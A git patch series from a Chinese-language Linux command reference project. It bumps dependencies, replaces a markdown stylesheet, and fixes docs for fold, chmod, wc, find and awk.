平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From f1f85e93682479875d5e31c719d9dd5207ea0b24 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sun, 5 Dec 2021 13:46:04 +0800 Subject: [PATCH 0394/1019] chore(deps): update dependency uglify-js to v3.14.4 (#303) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 64260c6debb..7fb9c4af792 100644 --- a/package.json +++ b/package.json @@ -33,7 +33,7 @@ "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", - "uglify-js": "3.14.2" + "uglify-js": "3.14.4" }, "engines": { "node": "^12.20.0 || ^14.13.1 || >=16.0.0" From 0d1b1620db1ef294effb8669c1fb0afad3896ab3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 5 Dec 2021 14:25:02 +0800 Subject: [PATCH 0395/1019] style: update markdown style. --- build/build.mjs | 3 +- package.json | 2 +- template/styl/mixins/markdown.styl | 1046 +--------------------------- 3 files changed, 4 insertions(+), 1047 deletions(-) diff --git a/build/build.mjs b/build/build.mjs index 949c84b96f2..ef04b022a75 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -204,12 +204,13 @@ function markdownToHTML(str) { return new Promise((resolve, reject) => { try { const stylStr = FS.readFileSync(stylPath, 'utf8'); + const stylMD = FS.readFileSync(path.resolve('node_modules/markdown-to-html-cli/github.css'), 'utf8'); stylus(stylStr.toString()) .set('filename', stylPath) .set('compress', true) .render((err, css) => { if (err) throw err; - resolve(css); + resolve(`${stylMD.replace(/\n/, '')}\n${css}`); }); } catch (err) { reject(err); diff --git a/package.json b/package.json index 7fb9c4af792..5103dc8931e 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.2.3", + "markdown-to-html-cli": "3.2.4", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", diff --git a/template/styl/mixins/markdown.styl b/template/styl/mixins/markdown.styl index 74cac5dfc5c..eaad38c8ee9 100644 --- a/template/styl/mixins/markdown.styl +++ b/template/styl/mixins/markdown.styl @@ -1,4 +1,3 @@ - mq-mobile = "screen and (max-width: 479px)" .markdown-body .edit_btn { @@ -39,1053 +38,10 @@ mq-mobile = "screen and (max-width: 479px)" } .markdown-body { - -ms-text-size-adjust: 100%; - -webkit-text-size-adjust: 100%; + margin-top: 0 !important; padding 90px 35px 30px 35px max-width 980px - margin 0 auto - color: #24292f; - background-color: #ffffff; - font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji"; - font-size: 16px; - line-height: 1.5; - word-wrap: break-word; @media mq-mobile { padding: 70px 15px 30px 15px; } } - - -.markdown-body pre[class*="language-"] { - position: relative; -} -.markdown-body pre[class*="language-"] .copied { - visibility: hidden; - display: flex; - position: absolute; - cursor: pointer; - color: #a5afbb; - top: 6px; - right: 6px; - border-radius: 5px; - background: #e3e3e3; - padding: 6px; - font-size: 12px; - transition: all .3s; -} -.markdown-body pre[class*="language-"]:hover .copied { - visibility: visible; -} -.markdown-body pre[class*="language-"]:hover .copied:hover { - background: #4caf50; - color: #fff; -} -.markdown-body pre[class*="language-"]:hover .copied:active, -.markdown-body pre[class*="language-"] .active { - background: #2e9b33; - color: #fff; -} - -.markdown-body pre[class*="language-"] .copied .octicon-copy { - display: block; -} -.markdown-body pre[class*="language-"] .copied .octicon-check { - display: none; -} -.markdown-body pre[class*="language-"] .active .octicon-copy { - display: none; -} -.markdown-body pre[class*="language-"] .active .octicon-check { - display: block; -} - -.markdown-body .octicon { - display: inline-block; - fill: currentColor; - vertical-align: text-bottom; -} - -.markdown-body .octicon-video { - border: 1px solid #d0d7de !important; - border-radius: 6px !important; - display: block; -} - -.markdown-body .octicon-video summary { - border-bottom: 1px solid #d0d7de !important; - padding: 8px 16px !important; - cursor: pointer; -} -.markdown-body .octicon-video > video { - display: block !important; - max-width: 100% !important; - padding: 2px; - box-sizing: border-box; -} -.markdown-body details.octicon-video:not([open])>*:not(summary) { - display: none !important; -} -.markdown-body details.octicon-video:not([open]) > summary { - border-bottom: 0 !important; -} -.markdown-body .octicon-video summary > svg + span { - margin: 4px !important; -} - -.markdown-body h1:hover .anchor .octicon-link:before, -.markdown-body h2:hover .anchor .octicon-link:before, -.markdown-body h3:hover .anchor .octicon-link:before, -.markdown-body h4:hover .anchor .octicon-link:before, -.markdown-body h5:hover .anchor .octicon-link:before, -.markdown-body h6:hover .anchor .octicon-link:before { - width: 16px; - height: 16px; - content: ' '; - display: inline-block; - background-color: currentColor; - -webkit-mask-image: url("data:image/svg+xml,"); - mask-image: url("data:image/svg+xml,"); -} - -.markdown-body details, -.markdown-body figcaption, -.markdown-body figure { - display: block; -} - -.markdown-body summary { - display: list-item; -} - -.markdown-body a { - background-color: transparent; - color: #0969da; - text-decoration: none; -} - -.markdown-body a:active, -.markdown-body a:hover { - outline-width: 0; -} - -.markdown-body abbr[title] { - border-bottom: none; - -webkit-text-decoration: underline dotted; - text-decoration: underline dotted; -} - -.markdown-body b, -.markdown-body strong { - font-weight: 600; -} - -.markdown-body dfn { - font-style: italic; -} - -.markdown-body h1 { - margin: .67em 0; - font-weight: 600; - padding-bottom: .3em; - font-size: 2em; - border-bottom: 1px solid hsla(210,18%,87%,1); -} - -.markdown-body mark { - background-color: #ff0; - color: #24292f; -} - -.markdown-body small { - font-size: 90%; -} - -.markdown-body sub, -.markdown-body sup { - font-size: 75%; - line-height: 0; - position: relative; - vertical-align: baseline; -} - -.markdown-body sub { - bottom: -0.25em; -} - -.markdown-body sup { - top: -0.5em; -} - -.markdown-body img { - border-style: none; - max-width: 100%; - box-sizing: content-box; - background-color: #ffffff; -} - -.markdown-body code, -.markdown-body kbd, -.markdown-body pre, -.markdown-body samp { - font-family: monospace,monospace; - font-size: 1em; -} - -.markdown-body figure { - margin: 1em 40px; -} - -.markdown-body hr { - box-sizing: content-box; - overflow: hidden; - background: transparent; - border-bottom: 1px solid hsla(210,18%,87%,1); - height: .25em; - padding: 0; - margin: 24px 0; - background-color: #d0d7de; - border: 0; -} - -.markdown-body html [type=button], -.markdown-body [type=reset], -.markdown-body [type=submit] { - -webkit-appearance: button; -} - -.markdown-body [type=button]::-moz-focus-inner, -.markdown-body [type=reset]::-moz-focus-inner, -.markdown-body [type=submit]::-moz-focus-inner { - border-style: none; - padding: 0; -} - -.markdown-body [type=button]:-moz-focusring, -.markdown-body [type=reset]:-moz-focusring, -.markdown-body [type=submit]:-moz-focusring { - outline: 1px dotted ButtonText; -} - -.markdown-body [type=checkbox], -.markdown-body [type=radio] { - box-sizing: border-box; - padding: 0; -} - -.markdown-body [type=number]::-webkit-inner-spin-button, -.markdown-body [type=number]::-webkit-outer-spin-button { - height: auto; -} - -.markdown-body [type=search] { - -webkit-appearance: textfield; - outline-offset: -2px; -} - -.markdown-body [type=search]::-webkit-search-cancel-button, -.markdown-body [type=search]::-webkit-search-decoration { - -webkit-appearance: none; -} - -.markdown-body ::-webkit-input-placeholder { - color: inherit; - opacity: .54; -} - -.markdown-body ::-webkit-file-upload-button { - -webkit-appearance: button; - font: inherit; -} - -.markdown-body a:hover { - text-decoration: underline; -} - -.markdown-body hr::before { - display: table; - content: ""; -} - -.markdown-body hr::after { - display: table; - clear: both; - content: ""; -} - -.markdown-body table { - border-spacing: 0; - border-collapse: collapse; - display: block; - width: max-content; - max-width: 100%; - overflow: auto; -} - -.markdown-body td, -.markdown-body th { - padding: 0; -} - -.markdown-body details summary { - cursor: pointer; -} - -.markdown-body details:not([open])>*:not(summary) { - display: none !important; -} - -.markdown-body kbd { - display: inline-block; - padding: 3px 5px; - font: 11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace; - line-height: 10px; - color: #24292f; - vertical-align: middle; - background-color: #f6f8fa; - border: solid 1px rgba(175,184,193,0.2); - border-bottom-color: rgba(175,184,193,0.2); - border-radius: 6px; - box-shadow: inset 0 -1px 0 rgba(175,184,193,0.2); -} - -.markdown-body h1, -.markdown-body h2, -.markdown-body h3, -.markdown-body h4, -.markdown-body h5, -.markdown-body h6 { - margin-top: 24px; - margin-bottom: 16px; - font-weight: 600; - line-height: 1.25; -} - -.markdown-body h2 { - font-weight: 600; - padding-bottom: .3em; - font-size: 1.5em; - border-bottom: 1px solid hsla(210,18%,87%,1); -} - -.markdown-body h3 { - font-weight: 600; - font-size: 1.25em; -} - -.markdown-body h4 { - font-weight: 600; - font-size: 1em; -} - -.markdown-body h5 { - font-weight: 600; - font-size: .875em; -} - -.markdown-body h6 { - font-weight: 600; - font-size: .85em; - color: #57606a; -} - -.markdown-body p { - margin-top: 0; - margin-bottom: 10px; -} - -.markdown-body blockquote { - margin: 0; - padding: 0 1em; - color: #57606a; - border-left: .25em solid #d0d7de; -} - -.markdown-body ul, -.markdown-body ol { - margin-top: 0; - margin-bottom: 0; - padding-left: 2em; -} - -.markdown-body ol ol, -.markdown-body ul ol { - list-style-type: lower-roman; -} - -.markdown-body ul ul ol, -.markdown-body ul ol ol, -.markdown-body ol ul ol, -.markdown-body ol ol ol { - list-style-type: lower-alpha; -} - -.markdown-body dd { - margin-left: 0; -} - -.markdown-body tt, -.markdown-body code { - font-family: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace; - font-size: 12px; -} - -.markdown-body pre { - margin-top: 0; - margin-bottom: 0; - font-family: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace; - font-size: 12px; - word-wrap: normal; -} - -.markdown-body :-ms-input-placeholder { - color: #6e7781; - opacity: 1; -} - -.markdown-body ::-ms-input-placeholder { - color: #6e7781; - opacity: 1; -} - -.markdown-body ::placeholder { - color: #6e7781; - opacity: 1; -} - -.markdown-body .pl-c { - color: #6e7781; -} - -.markdown-body .pl-c1, -.markdown-body .pl-s .pl-v { - color: #0550ae; -} - -.markdown-body .pl-e, -.markdown-body .pl-en { - color: #8250df; -} - -.markdown-body .pl-smi, -.markdown-body .pl-s .pl-s1 { - color: #24292f; -} - -.markdown-body .pl-ent { - color: #116329; -} - -.markdown-body .pl-k { - color: #cf222e; -} - -.markdown-body .pl-s, -.markdown-body .pl-pds, -.markdown-body .pl-s .pl-pse .pl-s1, -.markdown-body .pl-sr, -.markdown-body .pl-sr .pl-cce, -.markdown-body .pl-sr .pl-sre, -.markdown-body .pl-sr .pl-sra { - color: #0a3069; -} - -.markdown-body .pl-v, -.markdown-body .pl-smw { - color: #953800; -} - -.markdown-body .pl-bu { - color: #82071e; -} - -.markdown-body .pl-ii { - color: #f6f8fa; - background-color: #82071e; -} - -.markdown-body .pl-c2 { - color: #f6f8fa; - background-color: #cf222e; -} - -.markdown-body .pl-sr .pl-cce { - font-weight: bold; - color: #116329; -} - -.markdown-body .pl-ml { - color: #3b2300; -} - -.markdown-body .pl-mh, -.markdown-body .pl-mh .pl-en, -.markdown-body .pl-ms { - font-weight: bold; - color: #0550ae; -} - -.markdown-body .pl-mi { - font-style: italic; - color: #24292f; -} - -.markdown-body .pl-mb { - font-weight: bold; - color: #24292f; -} - -.markdown-body .pl-md { - color: #82071e; - background-color: #FFEBE9; -} - -.markdown-body .pl-mi1 { - color: #116329; - background-color: #dafbe1; -} - -.markdown-body .pl-mc { - color: #953800; - background-color: #ffd8b5; -} - -.markdown-body .pl-mi2 { - color: #eaeef2; - background-color: #0550ae; -} - -.markdown-body .pl-mdr { - font-weight: bold; - color: #8250df; -} - -.markdown-body .pl-ba { - color: #57606a; -} - -.markdown-body .pl-sg { - color: #8c959f; -} - -.markdown-body .pl-corl { - text-decoration: underline; - color: #0a3069; -} - -.markdown-body [data-catalyst] { - display: block; -} - -.markdown-body g-emoji { - font-family: "Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol"; - font-size: 1em; - font-style: normal !important; - font-weight: 400; - line-height: 1; - vertical-align: -0.075em; -} - -.markdown-body g-emoji img { - width: 1em; - height: 1em; -} - -.markdown-body::before { - display: table; - content: ""; -} - -.markdown-body::after { - display: table; - clear: both; - content: ""; -} - -.markdown-body>*:first-child { - margin-top: 0 !important; -} - -.markdown-body>*:last-child { - margin-bottom: 0 !important; -} - -.markdown-body a:not([href]) { - color: inherit; - text-decoration: none; -} - -.markdown-body .absent { - color: #cf222e; -} - -.markdown-body .anchor { - float: left; - padding-right: 4px; - margin-left: -20px; - line-height: 1; -} - -.markdown-body .anchor:focus { - outline: none; -} - -.markdown-body p, -.markdown-body blockquote, -.markdown-body ul, -.markdown-body ol, -.markdown-body dl, -.markdown-body table, -.markdown-body pre, -.markdown-body details { - margin-top: 0; - margin-bottom: 16px; -} - -.markdown-body blockquote>:first-child { - margin-top: 0; -} - -.markdown-body blockquote>:last-child { - margin-bottom: 0; -} - -.markdown-body sup>a::before { - content: "["; -} - -.markdown-body sup>a::after { - content: "]"; -} - -.markdown-body h1 .octicon-link, -.markdown-body h2 .octicon-link, -.markdown-body h3 .octicon-link, -.markdown-body h4 .octicon-link, -.markdown-body h5 .octicon-link, -.markdown-body h6 .octicon-link { - color: #24292f; - vertical-align: middle; - visibility: hidden; -} - -.markdown-body h1:hover .anchor, -.markdown-body h2:hover .anchor, -.markdown-body h3:hover .anchor, -.markdown-body h4:hover .anchor, -.markdown-body h5:hover .anchor, -.markdown-body h6:hover .anchor { - text-decoration: none; -} - -.markdown-body h1:hover .anchor .octicon-link, -.markdown-body h2:hover .anchor .octicon-link, -.markdown-body h3:hover .anchor .octicon-link, -.markdown-body h4:hover .anchor .octicon-link, -.markdown-body h5:hover .anchor .octicon-link, -.markdown-body h6:hover .anchor .octicon-link { - visibility: visible; -} - -.markdown-body h1 tt, -.markdown-body h1 code, -.markdown-body h2 tt, -.markdown-body h2 code, -.markdown-body h3 tt, -.markdown-body h3 code, -.markdown-body h4 tt, -.markdown-body h4 code, -.markdown-body h5 tt, -.markdown-body h5 code, -.markdown-body h6 tt, -.markdown-body h6 code { - padding: 0 .2em; - font-size: inherit; -} - -.markdown-body ul.no-list, -.markdown-body ol.no-list { - padding: 0; - list-style-type: none; -} - -.markdown-body ol[type="1"] { - list-style-type: decimal; -} - -.markdown-body ol[type=a] { - list-style-type: lower-alpha; -} - -.markdown-body ol[type=i] { - list-style-type: lower-roman; -} - -.markdown-body div>ol:not([type]) { - list-style-type: decimal; -} - -.markdown-body ul ul, -.markdown-body ul ol, -.markdown-body ol ol, -.markdown-body ol ul { - margin-top: 0; - margin-bottom: 0; -} - -.markdown-body li>p { - margin-top: 16px; -} - -.markdown-body li+li { - margin-top: .25em; -} - -.markdown-body dl { - padding: 0; -} - -.markdown-body dl dt { - padding: 0; - margin-top: 16px; - font-size: 1em; - font-style: italic; - font-weight: 600; -} - -.markdown-body dl dd { - padding: 0 16px; - margin-bottom: 16px; -} - -.markdown-body table th { - font-weight: 600; -} - -.markdown-body table th, -.markdown-body table td { - padding: 6px 13px; - border: 1px solid #d0d7de; -} - -.markdown-body table tr { - background-color: #ffffff; - border-top: 1px solid hsla(210,18%,87%,1); -} - -.markdown-body table tr:nth-child(2n) { - background-color: #f6f8fa; -} - -.markdown-body table img { - background-color: transparent; -} - -.markdown-body img[align=right] { - padding-left: 20px; -} - -.markdown-body img[align=left] { - padding-right: 20px; -} - -.markdown-body .emoji { - max-width: none; - vertical-align: text-top; - background-color: transparent; -} - -.markdown-body span.frame { - display: block; - overflow: hidden; -} - -.markdown-body span.frame>span { - display: block; - float: left; - width: auto; - padding: 7px; - margin: 13px 0 0; - overflow: hidden; - border: 1px solid #d0d7de; -} - -.markdown-body span.frame span img { - display: block; - float: left; -} - -.markdown-body span.frame span span { - display: block; - padding: 5px 0 0; - clear: both; - color: #24292f; -} - -.markdown-body span.align-center { - display: block; - overflow: hidden; - clear: both; -} - -.markdown-body span.align-center>span { - display: block; - margin: 13px auto 0; - overflow: hidden; - text-align: center; -} - -.markdown-body span.align-center span img { - margin: 0 auto; - text-align: center; -} - -.markdown-body span.align-right { - display: block; - overflow: hidden; - clear: both; -} - -.markdown-body span.align-right>span { - display: block; - margin: 13px 0 0; - overflow: hidden; - text-align: right; -} - -.markdown-body span.align-right span img { - margin: 0; - text-align: right; -} - -.markdown-body span.float-left { - display: block; - float: left; - margin-right: 13px; - overflow: hidden; -} - -.markdown-body span.float-left span { - margin: 13px 0 0; -} - -.markdown-body span.float-right { - display: block; - float: right; - margin-left: 13px; - overflow: hidden; -} - -.markdown-body span.float-right>span { - display: block; - margin: 13px auto 0; - overflow: hidden; - text-align: right; -} - -.markdown-body code, -.markdown-body tt { - padding: .2em .4em; - margin: 0; - font-size: 85%; - background-color: rgba(175,184,193,0.2); - border-radius: 6px; -} - -.markdown-body code br, -.markdown-body tt br { - display: none; -} - -.markdown-body del code { - text-decoration: inherit; -} - -.markdown-body pre code { - font-size: 100%; -} - -.markdown-body pre>code { - padding: 0; - margin: 0; - word-break: normal; - white-space: pre; - background: transparent; - border: 0; -} - -.markdown-body .highlight { - margin-bottom: 16px; -} - -.markdown-body .highlight pre { - margin-bottom: 0; - word-break: normal; -} - -.markdown-body .highlight pre, -.markdown-body pre { - padding: 16px; - overflow: auto; - font-size: 85%; - line-height: 1.45; - background-color: #f6f8fa; - border-radius: 6px; -} - -.markdown-body pre code, -.markdown-body pre tt { - display: inline; - max-width: auto; - padding: 0; - margin: 0; - overflow: visible; - line-height: inherit; - word-wrap: normal; - background-color: transparent; - border: 0; -} - -.markdown-body .csv-data td, -.markdown-body .csv-data th { - padding: 5px; - overflow: hidden; - font-size: 12px; - line-height: 1; - text-align: left; - white-space: nowrap; -} - -.markdown-body .csv-data .blob-num { - padding: 10px 8px 9px; - text-align: right; - background: #ffffff; - border: 0; -} - -.markdown-body .csv-data tr { - border-top: 0; -} - -.markdown-body .csv-data th { - font-weight: 600; - background: #f6f8fa; - border-top: 0; -} - -.markdown-body .footnotes { - font-size: 12px; - color: #57606a; - border-top: 1px solid #d0d7de; -} - -.markdown-body .footnotes ol { - padding-left: 16px; -} - -.markdown-body .footnotes li { - position: relative; -} - -.markdown-body .footnotes li:target::before { - position: absolute; - top: -8px; - right: -8px; - bottom: -8px; - left: -24px; - pointer-events: none; - content: ""; - border: 2px solid #0969da; - border-radius: 6px; -} - -.markdown-body .footnotes li:target { - color: #24292f; -} - -.markdown-body .footnotes .data-footnote-backref g-emoji { - font-family: monospace; -} - -.markdown-body [hidden] { - display: none !important; -} - -.markdown-body ::-webkit-calendar-picker-indicator { - filter: invert(50%); -} - - - - -.markdown-body .token.tag .attr-value { - color: #032f62; -} -.markdown-body .token.property, -.markdown-body .token.tag, -.markdown-body .token.boolean, -.markdown-body .token.number, -.markdown-body .token.function-name, -.markdown-body .token.constant, -.markdown-body .token.symbol, -.markdown-body .token.deleted { - color: #0060c9; -} -.markdown-body .token.punctuation { - color: #a0a0a0; -} -.markdown-body code[class*="language-"] { - color: black; -} -.markdown-body code[class*="language-"] .token.selector, -.markdown-body code[class*="language-"] .token.attr-name, -.markdown-body code[class*="language-"] .token.string, -.markdown-body code[class*="language-"] .token.char, -.markdown-body code[class*="language-"] .token.function, -.markdown-body code[class*="language-"] .token.builtin { - color: #6f42c1; -} -.markdown-body code[class*="language-"] .token.inserted { - color: #22863a; - background-color: #f0fff4; -} -.markdown-body code[class*="language-"] .token.deleted { - color: #b31d28; - background-color: #ffeef0; -} -.markdown-body code[class*="language-"] .token.class-name { - color: #6f42c1; -} -.markdown-body code[class*="language-"] .code-block { - color: #032f62; -} -.markdown-body code[class*="language-"] .token.comment, -.markdown-body code[class*="language-"] .token.block-comment, -.markdown-body code[class*="language-"] .token.prolog, -.markdown-body code[class*="language-"] .token.doctype, -.markdown-body code[class*="language-"] .token.cdata { - color: #7D8B99; -} -.markdown-body code[class*="language-"] .token.punctuation { - color: #a0a0a0; -} -.markdown-body code[class*="language-"] .token.operator, -.markdown-body code[class*="language-"] .token.entity, -.markdown-body code[class*="language-"] .token.url, -.markdown-body code[class*="language-"] .token.variable { - color: #d73a49; - background: rgba(255, 255, 255, 0.5); -} -.markdown-body code[class*="language-"] .token.atrule, -.markdown-body code[class*="language-"] .token.attr-value { - color: #004698; -} -.markdown-body code[class*="language-"] .token.keyword { - color: #d63200; -} -.markdown-body code[class*="language-"] .token.regex, -.markdown-body code[class*="language-"] .token.important { - color: #e90; -} -.markdown-body code[class*="language-"] .token.string { - color: #0a53c1; -} From 5abc713153d54c997b04335343e9b4631788b4da Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 5 Dec 2021 17:06:25 +0800 Subject: [PATCH 0396/1019] chore(deps): update dependency markdown-to-html-cli to v3.2.5 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 5103dc8931e..400c37592e7 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.2.4", + "markdown-to-html-cli": "3.2.5", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From 407ccdcdb5e50f5bde6a2490d5444250cf355c34 Mon Sep 17 00:00:00 2001 From: hetochao <39456622+hetochao@users.noreply.github.com> Date: Wed, 8 Dec 2021 10:43:13 +0800 Subject: [PATCH 0397/1019] Update fold.md (#317) --- command/fold.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/command/fold.md b/command/fold.md index a67358d0f15..c5a32ab53f7 100644 --- a/command/fold.md +++ b/command/fold.md @@ -25,4 +25,10 @@ fold(选项)(参数) 文件：指定要显示内容的文件。 +### 示例 + +```shell +fold -w 5 filename +``` + From fae33d1521ad51bd2746d782f2b50196b0e6ced2 Mon Sep 17 00:00:00 2001 From: Segfault Date: Sun, 19 Dec 2021 19:41:23 +0800 Subject: [PATCH 0398/1019] =?UTF-8?q?=E6=9B=B4=E6=AD=A3=E4=BA=86chmod.md?= =?UTF-8?q?=E4=B8=AD=E4=BD=8D=E4=BA=8E85=E8=A1=8C=E7=9A=84=E4=B8=80?= =?UTF-8?q?=E5=A4=84=E9=94=99=E8=AF=AF=20(#323)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `rw`权限的8进制等价数是6而不是5 --- command/chmod.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/chmod.md b/command/chmod.md index 132c0d528f9..0cdc60c051d 100644 --- a/command/chmod.md +++ b/command/chmod.md @@ -82,7 +82,7 @@ chmod a-w ./test.log # 当前用户具有所有权限，组用户有读写权限，其他用户只有读权限。 chmod u=rwx, g=rw, o=r ./test.log # 等价的八进制数表示： -chmod 754 ./test.log +chmod 764 ./test.log # 将目录以及目录下的文件都设置为所有用户拥有读写权限。 # 注意，使用'-R'选项一定要保留当前用户的执行和读取权限，否则会报错！ chmod -R a=rw ./testdir/ From 131509eba1f99e290301232344bfc8155e09ccba Mon Sep 17 00:00:00 2001 From: Segfault Date: Mon, 20 Dec 2021 09:29:05 +0800 Subject: [PATCH 0399/1019] =?UTF-8?q?=E6=9B=B4=E6=AD=A3=E4=BA=86=20`21-27`?= =?UTF-8?q?=20=E8=A1=8C=E7=9A=842=E5=A4=84=E9=94=99=E8=AF=AF=E5=B9=B6?= =?UTF-8?q?=E8=B0=83=E6=95=B4=E4=BA=86=E6=A0=BC=E5=BC=8F=20(#324)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ##### 修改的错误 1. 去掉 `21` 行了 `-c` 选项的错误的长选项 `--chars` ，并将其追加到了23行后面 2. 去掉了 `23` 行的 *不可和-c选项一起使用*，因为两者可以一起使用 ##### 调整的格式 1. 将 `21-24` 行一些行末的 `；。` 改为了 `。` 2. 将 `21-24` 行一些长选项的 `——` 改为了 `--` 3. `26-27` 行追加了句号 ##### 谈不上错误但我感觉可能会给读者造成误解 1. 去掉了 `21-24` 行 `只显示` 的 `只` 字，因为这些参数可以一起出现并按 `行数 字数 字符数 字节数 最长行长度` 的顺序打印，而 `只` 字可能会让看的人产生误解，感觉这些参数只能单独互斥地使用 --- command/wc.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/command/wc.md b/command/wc.md index b09e9297bfb..3ca88383e11 100644 --- a/command/wc.md +++ b/command/wc.md @@ -18,13 +18,13 @@ wc [选项]... --files0-from=F ### 选项 ```shell --c # 统计字节数，或--bytes或——chars：只显示Bytes数；。 --l # 统计行数，或——lines：只显示列数；。 --m # 统计字符数。这个标志不能与 -c 标志一起使用。 --w # 统计字数，或——words：只显示字数。一个字被定义为由空白、跳格或换行字符分隔的字符串。 --L # 打印最长行的长度。 --help # 显示帮助信息 ---version # 显示版本信息 +-c # 统计字节数，或--bytes：显示Bytes数。 +-l # 统计行数，或--lines：显示列数。 +-m # 统计字符数，或--chars：显示字符数。 +-w # 统计字数，或--words：显示字数。一个字被定义为由空白、跳格或换行字符分隔的字符串。 +-L # 打印最长行的长度，或--max-line-length。 +-help # 显示帮助信息。 +--version # 显示版本信息。 ``` ### 参数 From 548b5c8b02902260bb0a1b8a8bd5690cf4aa3319 Mon Sep 17 00:00:00 2001 From: Segfault Date: Mon, 20 Dec 2021 14:57:20 +0800 Subject: [PATCH 0400/1019] =?UTF-8?q?=E6=9B=B4=E6=AD=A3=E4=BA=86find.md?= =?UTF-8?q?=E4=B8=AD=20`27=E8=A1=8C`=20=E7=9A=84=E4=B8=80=E5=A4=84?= =?UTF-8?q?=E6=8B=BC=E5=86=99=E9=94=99=E8=AF=AF=20(#325)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `expty` -> `empty` --- command/find.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/find.md b/command/find.md index c482503d572..32c62653af0 100644 --- a/command/find.md +++ b/command/find.md @@ -24,7 +24,7 @@ find(选项)(参数) -ctime<24小时数>：查找在指定时间之时被更改的文件或目录，单位以24小时计算； -daystart：从本日开始计算时间； -depth：从指定目录下最深层的子目录开始查找； --expty：寻找文件大小为0 Byte的文件，或目录下没有任何子目录或文件的空目录； +-empty：寻找文件大小为0 Byte的文件，或目录下没有任何子目录或文件的空目录； -exec<执行指令>：假设find指令的回传值为True，就执行该指令； -false：将find指令的回传值皆设为False； -fls<列表文件>：此参数的效果和指定“-ls”参数类似，但会把结果保存为指定的列表文件； From b2a3a7d81441657bce93f0d33e06199cedd71813 Mon Sep 17 00:00:00 2001 From: Yunbin Liu Date: Fri, 31 Dec 2021 16:16:17 +0800 Subject: [PATCH 0401/1019] =?UTF-8?q?awk:=20=E5=8E=BB=E6=8E=89=20awk=20?= =?UTF-8?q?=E8=84=9A=E6=9C=AC=E6=94=BE=E5=9C=A8=E5=8F=8C=E5=BC=95=E5=8F=B7?= =?UTF-8?q?=E4=B8=AD=E7=9A=84=E9=83=A8=E5=88=86=20(#326)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 因为 shell 会对双引号中的变量替换, 比如 $0 在执行 awk 前被展开, 所以一般会使用单引号 --- command/awk.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/command/awk.md b/command/awk.md index 2e28c63f0ca..a23eec09e6a 100644 --- a/command/awk.md +++ b/command/awk.md @@ -51,11 +51,10 @@ awk脚本是由模式和操作组成的。 awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file ``` -一个awk脚本通常由：BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成，这三个部分是可选的。任意一个部分都可以不出现在脚本中，脚本通常是被 **单引号** 或 **双引号** 中，例如： +一个awk脚本通常由：BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成，这三个部分是可选的。任意一个部分都可以不出现在脚本中，脚本通常是被 **单引号** 中，例如： ```shell awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename -awk "BEGIN{ i=0 } { i++ } END{ print i }" filename ``` ### awk的工作原理 From 9247813f439be3035b8341d7f48b47988f203908 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 8 Jan 2022 13:06:22 +0800 Subject: [PATCH 0402/1019] doc: Update README.md --- README.md | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 48e58a9dd4d..303c834a127 100644 --- a/README.md +++ b/README.md @@ -11,13 +11,13 @@ [Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | 